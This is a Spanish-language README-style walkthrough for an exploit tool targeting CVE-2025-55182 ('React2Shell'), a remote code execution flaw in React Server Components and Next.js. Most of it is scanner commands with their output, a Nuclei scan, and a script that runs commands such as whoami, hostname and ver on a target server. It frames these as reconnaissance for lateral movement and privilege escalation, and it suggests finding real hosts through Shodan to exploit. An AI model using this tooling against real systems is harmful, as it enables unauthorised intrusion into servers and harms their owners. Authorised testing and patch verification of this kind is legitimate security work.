
Exploit de prueba de concepto para la vulnerabilidad RCE CVE-2025-55182 (React2Shell) en React Server Components. Incluye un escáner para hosts vulnerables y un script de shell para ejecución remota de comandos. Solo para pruebas de seguridad autorizadas y educación.
CVE-2025-55182, también conocido como React2Shell, es una vulnerabilidad grave de ejecución remota de código (RCE) que afecta a los componentes del servidor React (RSC). Utiliza el protocolo Flight para la comunicación entre cliente y servidor. Cuando el cliente solicita datos, el servidor recibe un payload, analiza este payload, lo que puede permitir a un atacante inyectar estructuras maliciosas o fragmentos de código arbitrarios que React acepta como válidos.
| Ítem | Contenido |
|---|---|
| Gravedad | Crítica (CVSS 10.0) |
| Tipo | Deserialización insegura (CWE-502) |
| Método de ataque | Remoto, sin autenticación requerida |
| Versiones afectadas: | React: 19.0.0, 19.1.0, 19.1.1, 19.2.0 y Next.js: 15.0.0 – 15.0.4, 15.1.0 – 15.1.8, 15.2.0 – 15.2.5, 15.3.0 – 15.3.5, 15.4.0 – 15.4.7, 15.5.0 – 15.5.6, 16.0.0 – 16.0.6 |
El servidor procesa el payload del cliente sin validación completa, lo que permite al atacante:
La actividad de explotación relacionada con esta vulnerabilidad se detectó a partir del 5 de diciembre de 2025. La mayoría de las explotaciones exitosas se originaron en evaluaciones de grupos de ataque. Tanto los entornos Windows como Linux se ven afectados.
Instalación
pip install -r requirements.txt
Escanear un servidor vulnerable:
python3 scanner.py -u https://example.com
Introduzca la ruta a escanear (aquí ingreso mi máquina vulnerable: http://192.168.10.1:3000)
Resultado obtenido:
╰─ python3 scanner.py -u http://192.168.10.1:3000
brought to you by assetnote
[*] Loaded 1 host(s) to scan
[*] Using 10 thread(s)
[*] Timeout: 10s
[*] Using RCE PoC check
[!] SSL verification disabled
[VULNERABLE] http://192.168.10.1:3000 - Status: 303
Escanear una lista de servidores:
python3 scanner.py -l hosts.txt
Escanear con múltiples hilos y guardar resultados:
python3 scanner.py -l hosts.txt -t 20 -o results.json
Escanear con encabezados personalizados:
python3 scanner.py -u https://example.com -H "Authorization: Bearer token" -H "Cookie: session=abc"
Escanear objetivos Windows:
python3 scanner.py -u https://example.com --windows
Usar método de detección de canal lateral seguro:
python3 scanner.py -u https://example.com --safe-check
Como puede ver, estamos enfrentando una vulnerabilidad de seguridad, lo que significa que el servidor que proporcionamos es susceptible de ser atacado por un atacante.
Ahora usaremos Nuclei para verificar qué vulnerabilidad tiene el servidor anterior y si tiene un PoC. Esta función funciona enviando solicitudes personalizadas, minimizando falsos positivos y admitiendo escaneo paralelo.
nuclei -t scan.yaml -u http://192.168.10.1:3000
Resultado obtenido
[INF] Current nuclei version: v3.7.1 (latest)
[INF] Current nuclei-templates version: v10.4.0 (latest)
[INF] New templates added in latest release: 94
[INF] Templates loaded for current scan: 1
[INF] Executing 1 signed templates from projectdiscovery/nuclei-templates
[INF] Targets loaded for current scan: 1
[CVE-2025-55182] [http] [critical] http://192.168.10.1:3000
[INF] Scan completed in 431.97876ms. 1 matches found.
El sistema detectó que este servidor es vulnerable y puede ser explotado mediante la vulnerabilidad CVE-2025-55182. Y desde entonces, puede ver que es una vulnerabilidad bastante peligrosa e importante, con muchos PoC disponibles en plataformas sociales. ☺☺☺
Puede ver que con esta información es suficiente para confirmar que la vulnerabilidad de seguridad existe en la aplicación anterior. Para demostrar que esta aplicación puede ser explotada para ejecutar un comando o código de forma remota, comenzaré el PoC.
chmod +x scanner.sh
# Verificar si el objetivo es vulnerable
./datscan.sh -d example.com
# Ejecutar comando para verificar usuario actual
./datscan.sh -d example.com -c "whoami"
# Con URL completa
./datscan.sh -d example.com -c "uname -a"
Significado:
Devuelve el usuario actual que ejecuta el proceso del servidor
Ayuda a identificar:
=> Este es el comando más básico para confirmar RCE exitoso
-d, --domain - domain/URL-c, --command - Comando a ejecutar (ej: whoami, hostname,...)# Verificar nombre del host
./datscan.sh -d http://192.168.10.1:3000/ -c hostname
# Determinar la versión del sistema operativo
./datscan.sh -d http://192.168.10.1:3000/ -c ver
# Verificar si la ejecución de comandos funciona correctamente
./datscan.sh -c "echo test"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %USERNAME%"
./datscan.sh -d http://192.168.10.1:3000/ -c "echo %COMPUTERNAME%"
Este es el paso de reconocimiento inicial después de una explotación exitosa.
Nos ayuda a confirmar: RCE funciona, determinar el sistema operativo,...
Debido a que este experimento lo estoy demostrando en un entorno de laboratorio personal para evitar problemas legales, el uso de encabezados HTTP para exfiltrar datos, salidas grandes o caracteres especiales puede causar:
ERR_INVALID_CHAR
Los comandos cortos (por ejemplo: whoami, ver) son más confiables para ilustrar en el entorno de prueba anterior.
Si no le gusta, puede usar Shodan para verificar direcciones IP directamente en el entorno real y hacer como en mi experimento anterior para explotar (no recomendado).
Como se señaló anteriormente. Esta herramienta es solo para fines educativos y pruebas de seguridad autorizadas. No utilice esta herramienta para probar sistemas que no posea o para los que no tenga permiso de prueba.
| Significado de los comandos ejecutados | Contenido |
|---|
| Devuelve el nombre del host | Se usa para: - identificar el sistema afectado - servir para movimiento lateral (en entorno interno) |
| Determina la versión del SO | Importante para: - evaluar la posibilidad de explotación adicional (escalada de privilegios) - seleccionar el exploit adecuado |
| Verifica la ejecución de comandos | Se usa para depurar payload/scanner |
| Devuelve el nombre de usuario actual | En este caso: - el usuario es ADMIN → puede tener altos privilegios - más importante que whoami en algunos casos de Windows |
| Devuelve el nombre del host | Devuelve el nombre del host mediante variable de entorno |